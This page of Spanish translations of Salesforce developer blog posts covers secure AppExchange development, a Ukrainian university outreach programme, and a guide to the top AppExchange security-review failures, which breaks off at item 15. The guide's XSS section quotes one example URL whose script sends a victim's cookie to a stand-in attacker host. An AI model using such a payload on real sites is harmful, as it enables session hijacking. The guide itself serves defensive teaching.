Categories
AppExchange Developers Tutoriales de Salesforce

Desarrollo seguro de aplicaciones para AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores, consultores, administradores y arquitectos de Salesforce para toda Iberoamérica.

El enlace a la publicación original, lo encontrarás al final de este artículo.

Desarrollo seguro para AppExchange

Para garantizar la fiabilidad de su aplicación, es importante dar prioridad a la seguridad incluso después de pasar la revisión de seguridad de AppExchange. Salesforce proporciona varias herramientas, consejos y trucos para apoyar su desarrollo continuo y mantener un entorno seguro.

Herramientas para comprobar vulnerabilidades en su código:
– El generador de listas de comprobación ayuda a identificar aspectos de su solución que deben comprobarse con cada nueva versión.
– Salesforce Code Analyzer, incluida la versión VS Code Beta, puede utilizarse para encontrar y mitigar vulnerabilidades en su código.
– Checkmarx, disponible en el Portal de seguridad de socios, debe utilizarse para ejecutar su paquete y programar horas de oficina con el equipo de seguridad de productos.
– Los análisis de aplicaciones web con herramientas como ZAP, Burp o Chimera pueden ayudar a comprobar sus puntos finales.

Mejores prácticas para el desarrollo continuo:
– Implique al equipo de seguridad en las primeras fases del ciclo de vida de desarrollo del software y realice análisis periódicos.
– Designe un responsable de seguridad en su equipo de desarrollo para facilitar la colaboración con los equipos de seguridad.
– Establezca repositorios de patrones de código seguro para mantener la coherencia y evitar la introducción de vulnerabilidades.

Modelado de amenazas:
– Incluya el modelado de amenazas en la fase de diseño de su ciclo de vida de desarrollo para identificar posibles puntos de entrada de vulnerabilidades y ataques.

Compruebe su código con escáneres:
– Antes de publicar su código, asegúrese de que es seguro y de que se somete al modelado de amenazas. Pida al equipo de seguridad que realice una prueba de penetración de la función.
– Compruebe y actualice regularmente sus bibliotecas utilizando herramientas como la base de datos CVE, el sitio web OWASP, retire.js o snyk.io.

Realice revisiones manuales:
– Realice un pen test en el que el equipo de seguridad revise el código y pruebe el front end de la aplicación para identificar vulnerabilidades.

Conclusión:
Los desarrolladores deben dar prioridad a las medidas y principios de seguridad para mantener la confianza. Esta guía proporciona un punto de partida para tener en cuenta la seguridad durante todo el proceso de desarrollo. Manténgase al día de las políticas y prácticas recomendadas de AppExchange a través de la documentación para desarrolladores de Salesforce.

Acerca del autor:
Richard Redditt es Analista jefe de operaciones de revisión de seguridad en el equipo del ecosistema de AppExchange. Con una amplia experiencia en el proceso de revisión de seguridad, ha proporcionado orientación y prácticas recomendadas a los socios que crean para AppExchange.

Recursos:
– [Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange](https://developer.salesforce.com/blogs/2023/08/the-top-20-vulnerabilities-found-in-the-appexchange-security-review)
– [Prepare su aplicación para superar la revisión de seguridad de AppExchange](https://developer.salesforce.com/blogs/2023/04/prepare-your-app-to-pass-the-appexchange-security-review)
– [Pase a 2GP gestionado con migraciones de paquetes](https://developer.salesforce.com/blogs/2023/05/move-to-managed-2gp-with-package-migrations)

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2024/06/developing-securely-for-appexchange.html

Categories
Analista de negocios de Salesforce Consultor de Salesforce Salesforce

Noltic fomenta el talento de los jóvenes en el mundo académico

Inspirar y educar a los jóvenes talentos es una inversión en nuestro futuro. Este año, Noltic, socio consultor y proveedor de software independiente (ISV) de Salesforce, se convirtió en uno de nuestros embajadores académicos de Salesforce en Ucrania. Noltic ya se ha asociado con más de 15 universidades para presentar Salesforce a los estudiantes. ¿Impacto de Noltic? Más de 1.200 estudiantes de informática y análisis empresarial conocieron la tecnología de Salesforce, 200 estudiantes asistieron a las Jornadas profesionales y 600 estudiantes solicitaron el curso de Salesforce. Al menos 100 se convirtieron en Trailblazers y 25 estudiantes aprobaron sus primeras certificaciones de Salesforce.

Certificaciones de Salesforce

¿Se pregunta cómo? Siga leyendo e inspírese.

¿Qué necesidad tienen las universidades de colaborar con los socios de Salesforce?

El mundo de la tecnología evoluciona rápidamente, al igual que el mercado de talentos. Uno de los principales retos para las universidades es adaptarse rápidamente a las necesidades del mercado, preparando a jóvenes talentos competitivos con las habilidades adecuadas para encontrar un trabajo. Las universidades buscan apoyo para impartir clases prácticas con experiencia práctica y enseñar a los estudiantes las últimas tecnologías y prácticas empresariales.

Tecnología de la información

Como CRM número 1 del mundo, el ecosistema de Salesforce abrirá alrededor de 9,3 millones de nuevos puestos de trabajo en todo el mundo para 2026. Estos puestos incluirán administradores, desarrolladores, consultores, expertos en productos de Salesforce, etc. Aquí es donde los socios de Salesforce pueden tener un gran impacto aportando nuevos talentos al ecosistema de Salesforce, especialmente en países con un importante potencial para estudiantes de tecnología.

Como proveedor de implementación, Noltic se centra en Marketing Cloud, Nonprofit, Sales and Service Clouds y Revenue Cloud, principalmente en Europa, Reino Unido y Estados Unidos. El equipo también crea aplicaciones de AppExchange. Como socio de desarrollo de mano de obra, Noltic se dedica a enseñar Salesforce a los jóvenes talentos de Ucrania

Conferencias de invitados. Los expertos certificados de Salesforce de Noltic ofrecen presentaciones a los estudiantes sobre productos de Salesforce, prácticas recomendadas, tendencias del sector, casos prácticos y oportunidades profesionales dentro del ecosistema de Salesforce

Días de puertas abiertas. Noltic abre regularmente sus puertas a los estudiantes para que visiten la oficina, interactúen con los desarrolladores de Salesforce y descubran lo que hacen los socios de Salesforce.

Días de puertas abiertas

Prácticas. Noltic cree que tener un mentor personal con experiencia es crucial para hacer crecer nuevos talentos netos. Por eso han creado un programa en el que cada becario que viene a aprender Salesforce con Noltic, tiene asignado un Desarrollador Certificado Salesforce y un plan de desarrollo personal que incluye rutas Trailhead, certificaciones Salesforce y trabajo en proyectos reales. Los estudiantes participan en el desarrollo de aplicaciones de AppExchange durante 1-3 meses. Adquieren su primera experiencia práctica con el desarrollo de productos de Salesforce, aprendiendo el proceso completo, desde la idea y el descubrimiento hasta la arquitectura y la revisión de seguridad.

Desarrollo de aplicaciones

Apoyo a tesis de diplomatura. El último proyecto fue un diploma de licenciatura sobre el tema «Desarrollo de un calendario personalizable en Salesforce». Un arquitecto certificado en Salesforce de Noltic asesoró durante seis meses a una estudiante de la Universidad Católica Ucraniana y le ayudó a comprender todos los detalles técnicos que describía en su trabajo.

Por ejemplo, el desarrollo de un calendario personalizable en Salesforce

Curso de Salesforce de un semestre. Durante varios años consecutivos, se invitó a los estudiantes a participar en un curso gratuito de Salesforce de 4 meses de duración, y ahora Noltic integró el curso como parte de una licenciatura en una universidad de primer nivel de Ucrania.

Curso de Salesforce de un semestre

«En 2021, durante mi segundo año en la Universidad Politécnica de Lviv, Salesforce irrumpió en mi mundo. Los profesores nos invitaron a una clase abierta dirigida por un arquitecto de Salesforce. Esa clase de Salesforce despertó mi interés, y asistí al día de puertas abiertas de Noltic, hice su curso de Salesforce, me convertí en Trailblazer y obtuve mi primera certificación de Salesforce. Y, voilá, me contrató Noltic y me uní oficialmente al ecosistema de Salesforce»

– Maria, estudiante de la Universidad Politécnica de Lviv y desarrolladora de Salesforce en prácticas

¿Cómo apoya Salesforce a los socios del ecosistema y a las instituciones educativas?

Durante el último año, Noltic ha obtenido acceso a vales para certificaciones iniciales gratuitas para los graduados del curso de Salesforce de Noltic, junto con asistencia de marketing, acceso a diversos materiales de aprendizaje de Salesforce y asistencia para invitar a ponentes internacionales de Salesforce, Salesforce Trailhead Academy y otros socios de implementación y fuerza de trabajo de Salesforce.

Cómo apoya Salesforce a los socios del ecosistema e instituciones educativas?

«Contar con el equipo de Talent Ecosystem detrás de Noltic nos ayuda a crear un verdadero entorno Salesforce en torno a los estudiantes, con toda su cultura de celebración y su enfoque centrado en el cliente», afirmó Tereza Dychka, responsable de marketing de Noltic.

¿Hubo algún reto en torno a los proyectos/durante los cursos con las diferentes universidades al que tuviste que enfrentarte?

Noltic afirma que su mayor reto es motivar a los estudiantes para que presten atención a las nuevas tecnologías. Algunas conferencias o eventos invitados son buenos para inspirarse, pero la mayor parte de su tiempo los estudiantes lo pasan aprendiendo Java, Python y JavaScript. Por eso, en 2023, Noltic dio un paso más e integró el curso de Salesforce en el plan de estudios académico. Se trata de un curso de un semestre que incluye 4 módulos y enseña a los jóvenes talentos Apex, Seguridad, Automatización de procesos, Conceptos básicos de la Web y mucho más. Después del curso, los estudiantes estarán familiarizados con Sales Cloud, Service Cloud, Experience Cloud y Marketing Cloud.

Este año, ha sido un curso optativo en la Universidad Católica Ucraniana en el que se han matriculado 18 estudiantes. Como examen final, los futuros talentos están aprobando sus primeras Certificaciones de Salesforce: Salesforce JavaScript Developer I o Salesforce Platform Developer I. El curso lo imparten expertos de Salesforce de Noltic, además de ponentes invitados de Salesforce y Trailhead Academy.

Trailhead Academy

«Integrar el curso de Salesforce en los estudios académicos tiene unos resultados magníficos. Uno de ellos es la comercialización de talentos en el sector de Salesforce. El otro es una sólida asociación entre las instituciones educativas y Salesforce. No sólo enseñamos a los estudiantes de la UCU, sino que también integramos Salesforce CRM y Nonprofit Cloud para que la universidad optimice su gestión académica», añade Igor Petrovych, cofundador y director general de Noltic.

«La integración del curso de Salesforce en los estudios académicos tiene algunos resultados excelentes

Si está interesado en establecer una colaboración similar en el ecosistema de Salesforce. Visite el sitio web del ecosistema de talentos y póngase en contacto con nosotros.

Categories
AppExchange Developers Tutoriales de Salesforce

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

